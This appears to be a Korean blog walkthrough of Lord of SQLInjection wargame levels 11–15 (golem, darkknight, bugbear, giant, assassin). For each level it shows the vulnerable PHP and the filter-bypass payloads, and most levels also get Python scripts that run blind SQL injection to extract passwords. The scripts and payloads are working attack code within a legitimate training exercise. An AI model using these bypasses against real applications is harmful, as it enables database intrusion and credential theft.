[LOS] 11-15번 문제 풀이(golem,darkknight,bugbear,giant,assassin)

6 분 소요

💡 los.rubiya.kr 11-15번 문제에 대한 풀이입니다.

11번(golem)

문제

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

풀이

7번 문제와 동일한 로직이기 때문에 pw값을 알아내기 위하여 blind sql injection을 수행해야 합니다. pw에 걸려있는 필터링 값인 or, and, substr( , = 을 우회하여서 blind sql injection을 수행합니다.

필터링을 생각하지 않고, 가장 기본적인 blind sql injection 구문은 다음과 같습니다.

for i in range(pw_length):
  for j in string.printable:
    pw="' or id='admin' and ascii(substr(pw,{},1)) = {}#".format(i,ord(j))

이때 위의 조건에서 필터링을 우회하기 위해서 다음과 같이 바꿔줍니다.

  1. or -> ||
  2. and -> &&
  3. = -> like
  4. substr -> left(right(pw,{}),1)

위의 로직으로 파이썬 코드를 작성하면 다음과 같으며, 실행 결과 비밀번호를 획득할 수 있습니다.

import string
import requests

url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
params = {'pw' : None}
cookies = {'PHPSESSID' : '1t87momi7f10m7tl6kkv6t0lob'}


#비밀번호 길이
for i in range(30):
    payload="' || id like ('admin') && length(pw) like({})#".format(i)
    params['pw'] = payload
    response = requests.get(url,params=params,cookies=cookies)
    if("Hello admin" in response.text):
        print("pw length is ",i)
        break
    print(payload)
    
# 비밀번호 길이 8
flag = ''
for i in range(1,9):
    for j in string.printable:
        payload = "' || id like ('admin') && ascii(right(left(pw,{}),1))like({})#".format(i,ord(j))
        params['pw'] = payload
        response = requests.get(url,params=params,cookies=cookies)
        print(len(response.text))
        if("Hello admin" in response.text):
            flag += j
            print("find the flag",flag)
            break
        print(payload)

코드 실행결과 pw : 77d6290b

image


image

12번(darkknight)

문제

http://www.wechall.net
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

풀이

11번 문제와 동일한 구조이고, 이번에는 pw와 no 두가지 변수에 값을 입력할 수 있습니다.

sql injection을 수행하기 위해서는 db의 함수가 이용 가능해야 가능한 경우가 많습니다. 이 문제에서는 pw,no 전부 를 필터링 하고 있기 때문에 pw에서는 문자열을 탈출하기 어렵고, no에서는 문자열을 이용할 수 없습니다.

그래서 pw에서는 입력값이 모두 문자열로 들어가기 때문에 인젝션하기 적절하지 않습니다. 이번 문제는 no 변수를 이용해서 인젝션을 수행합니다.

우선 필터링을 고려하지 않고, no 변수에는 다음과 같이 blind sql injection을 수행할 수 있습니다.

for i in range(pw_length):
  for j in string.printable:
    no="1 or id='admin' and ascii(substr(pw,{},1))={}".format(i,ord(j))

이제 필터링을 우회하기 위해서 다음과 같이 바꾸어 줍니다.

  1. ‘admin’ -> 0x61646d696e
  2. substr -> right(left(pw,{}),1)
  3. ascii -> ord
  4. = -> like

위의 우회기법을 적용한 파이썬 코드는 다음과 같습니다.

import string
import requests

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
params = {'no' : None}
cookies = {'PHPSESSID' : '1t87momi7f10m7tl6kkv6t0lob'}

# 비밀번호 구하기
for i in range(1,30):
    payload = "1 or id like 0x61646d696e and length(pw) like {}".format(i)
    params['no'] = payload
    response = requests.get(url,params=params,cookies=cookies)
    print(payload)
    if("Hello admin" in response.text):
        print(response.text)
        print("find the pw length : ",i)
        break

flag = ''
for i in range(1,9):
    for j in string.printable:
        payload='1 or id like 0x61646d696e and ord(right(left(pw,{}),1)) like {}'.format(i,ord(j))
        params['no'] = payload
        response = requests.get(url,params=params,cookies=cookies)
        if("Hello admin" in response.text):
            flag += j
            print("find the flag",flag)
            break

image

image

13번(bugbear)

문제

image

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

풀이

이번에도 동일한 blind sql injection 입니다. 12번에서 필터링을 우회했던 내용들이 포함되어 새롭게 no 변수에 필터링이 걸려 있습니다. 우선 필터링을 우회하기 전에 blind sql injection을 수행할 쿼리문부터 보면 다음과 같습니다.

for i in range(pw_length):
  for j in string.printable:
    no="1 or id='admin' and ascii(substr(pw,{},1))={}".format(i,ord(j))

이제 필터링을 우회해 보겠습니다. 우선 첫번째로 우회해야 하는 부분은 id=’admin’으로 그 뒤에 pw 검사를 할 데이터가 id=’admin’인 경우에만으로 한정지어주는 부분입니다.

이전 문제에서는 id=0x61646d696e로 16진수 표현법으로 우회를 했지만 현재 문제는 0x도 필터링을 하기 때문에 이번에는 한 글자씩 admin을 비교하는 방법을 이용해 봤습니다.

ord(left(id,1))=97&&ord(left(id,2))=100 ...

이렇게 한 글자씩 a , d , m , i , n인지를 비교하면 동일한 로직을 구현 가능합니다. 이번 문제에서는 테이블에 admin, guest만 있을거라 생각해서 첫 글자가 ‘a’인지만 검사했습니다.

그 다음으로 필터링을 우회할 부분은 ‘=’ / ‘like’입니다. 이는 in ()을 이용해서 우회가 가능하고, 공백에 대한 필터링은 여러가지가 있지만 이번에는 괄호만을 사용해서 공백을 이용하지 않을 수 있습니다.

완성된 sql 구문은 다음과 같습니다.

for i in range(pw_length):
  for j in string.printable:
    no="1||ord(left(id,1))in(97)&&ord(right(left(pw,{}),1))in({})".format(i,ord(j))

처음에 이렇게 시도를 해봤는데 필터링이 걸립니다. 삽질을 해본결과 ‘or’ 필터링이 ‘ord’함수에도 걸려서 다른 함수를 사용해야 합니다.

이번엔 ord 함수를 대체하기 위해서 다음의 기법을 사용했습니다.

conv(hex(left(id,1)),16,10)

이는 conv 함수와 ohex 함수를 이용한 것으로 실행 결과는 다음 처럼 주어진 문자열을 ord,ascii와 동일하게 ascii코드 10진수로 바꿔줍니다.

image

이렇게 해서 다시 완성된 구문은 다음과 같습니다.

for i in range(pw_length):
  for j in string.printable:
    no="1||conv(hex(left(id,1)),16,10)in(97)&&conv(hex(right(left(pw,{}),1)),16,10)in({})".format(i,ord(j))

아래는 전체 파이썬 코드입니다.

import string
import requests

url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
params={"no" : None}
cookies = {"PHPSESSID" : "1t87momi7f10m7tl6kkv6t0lob"}


#패스워드 길이 구하기
for i in range(30):
    payload="1||conv(hex(left(id,1)),16,10)in(97)&&length(pw)in({})".format(i)
    params["no"]=payload
    print(payload)
    response = requests.get(url,params=params,cookies=cookies)
    if("Hello admin" in response.text):
        print("find the pw_length : ",i)
        break

# 비밀번호 구하기 
flag = ''
for i in range(1,9):
    for j in string.printable:
        payload = "1||conv(hex(left(id,1)),16,10)in(97)&&conv(hex(right(left(pw,{}),1)),16,10)in({})".format(i,ord(j))
        params["no"]= payload
        print(payload)
        response = requests.get(url,params=params,cookies=cookies)
        if("Hello admin" in response.text):
            flag += j
            print("find the pw : ",flag)
            break
print(flag)

코드 실행 결과 pw : 52dc3991

image

image

14번(giant)

문제

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

풀이

이번 문제의 sql 문을 보면 다음과 같습니다.

select 1234 from{$_GET[shit]}prob_giant where 1

위의 쿼리문이 오류 없이 들어가기 위해서는 shit로 준 인자값이 공백의 역할을 해야 합니다.

아스키 코드표에서 공백의 역할을 하는 문자는 6개가 있습니다.

image

이번 문제에서 필터링 하고 있는 문자는 총 4개 입니다.

  1. (sp)
  2. \n : Line Feed (%0a)
  3. \r : Carriage Return (%0d)
  4. \t : horizontal tab (%09)

따라서 여기에 있는 4개를 제외한 2개(%0c,%0b)를 이용하면 문제가 풀립니다.

image

15번(assassin)

문제

image

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

풀이

이번 문제는 like 구문의 문법을 이용한 문제입니다. sql에서 like는 데이터베이스에 있는 내용을 문자열비교를 기반으로 찾아주는 기능을 하며, 특수 문자로는 ‘%’와 ‘_‘가 있습니다.

자세한 기능은 생략하고 바로 문제를 보겠습니다.

우선 비밀번호의 길이를 찾기 위해서 ‘_‘를 이용했습니다.

#패스워드 길이 구하기
for i in range(30):
    payload="_"*i
    params["pw"]=payload
    response = requests.get(url,params=params,cookies=cookies)
    if("Hello admin" in response.text):
        print(i,response.text[:300])
    if("Hello guest" in response.text):
        print(i,response.text[:300])

실행결과 길이가 8일때 응답이 Hello guest로 왔습니다. 이후에는 매칭이 되는 응답이 없는 것으로 보아, guest와 admin 모두 비밀번호가 8자리로 보입니다.

그 다음부터는 한글자씩 찾았습니다. 출력가능한 문자열을 한 글자씩 붙여가면서 검색을 했습니다. ex) 0%, 1%, 2% ,,, a% b% c% ,,, ..

# 첫 글자 구하기
for i in string.printable:
    payload="{}%".format(i)
    params["pw"]=payload
    response = requests.get(url,params=params,cookies=cookies)
    if("Hello admin" in response.text):
        print(i,response.text[:300])
    if("Hello guest" in response.text):
        print(i,response.text[:300])

첫 글자 검색결과 9에서만 응답이 Hello guest로 왔습니다. 첫 글자도 guest,admin이 동일하다는 것을 알 수 있습니다. 이런 방식으로 반복을 해보니 세번째 글자에서 guest,admin의 비밀번호가 서로 달랐습니다.

세번째 글자의 응답에서 guest는 90d%에서 응답이 왔고, admin은 902%에서 응답이 왔습니다. 따라서 전체 비밀번호를 다 알아낼 필요 없이 pw=902%를 입력해주면 풀리게 됩니다.

image

문제에 사용한 코드는 아래와 같습니다.

import string
import requests

url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
params={"pw" : None}
cookies = {"PHPSESSID" : "1t87momi7f10m7tl6kkv6t0lob"}

#패스워드 길이 구하기
for i in range(30):
    payload="_"*i
    params["pw"]=payload
    response = requests.get(url,params=params,cookies=cookies)
    if("Hello admin" in response.text):
        print(i,response.text[:300])
    if("Hello guest" in response.text):
        print(i,response.text[:300])

# admin, guest 둘다 비밀번호 8자리
# 첫 글자 구하기
for i in string.printable:
    payload="{}%".format(i)
    params["pw"]=payload
    response = requests.get(url,params=params,cookies=cookies)
    if("Hello admin" in response.text):
        print(i,response.text[:300])
    if("Hello guest" in response.text):
        print(i,response.text[:300])

# guest,admin 둘다 첫글자가 9

# 두번째 글자 구하기
for i in string.printable:
    payload= "9{}%".format(i)
    params["pw"]=payload
    response = requests.get(url,params=params,cookies=cookies)
    if("Hello admin" in response.text):
        print(i,response.text[:300])
    if("Hello guest" in response.text):
        print(i,response.text[:300])

# guest,admin 둘다 90

# 세번째 글자 구하기
for i in string.printable:
    payload= "90{}%".format(i)
    params["pw"]=payload
    response = requests.get(url,params=params,cookies=cookies)
    if("Hello admin" in response.text):
        print(i,response.text[:300])
    if("Hello guest" in response.text):
        print(i,response.text[:300])

# 세번째 글자에서 admin은 902, guest는 90d로 차이 

댓글남기기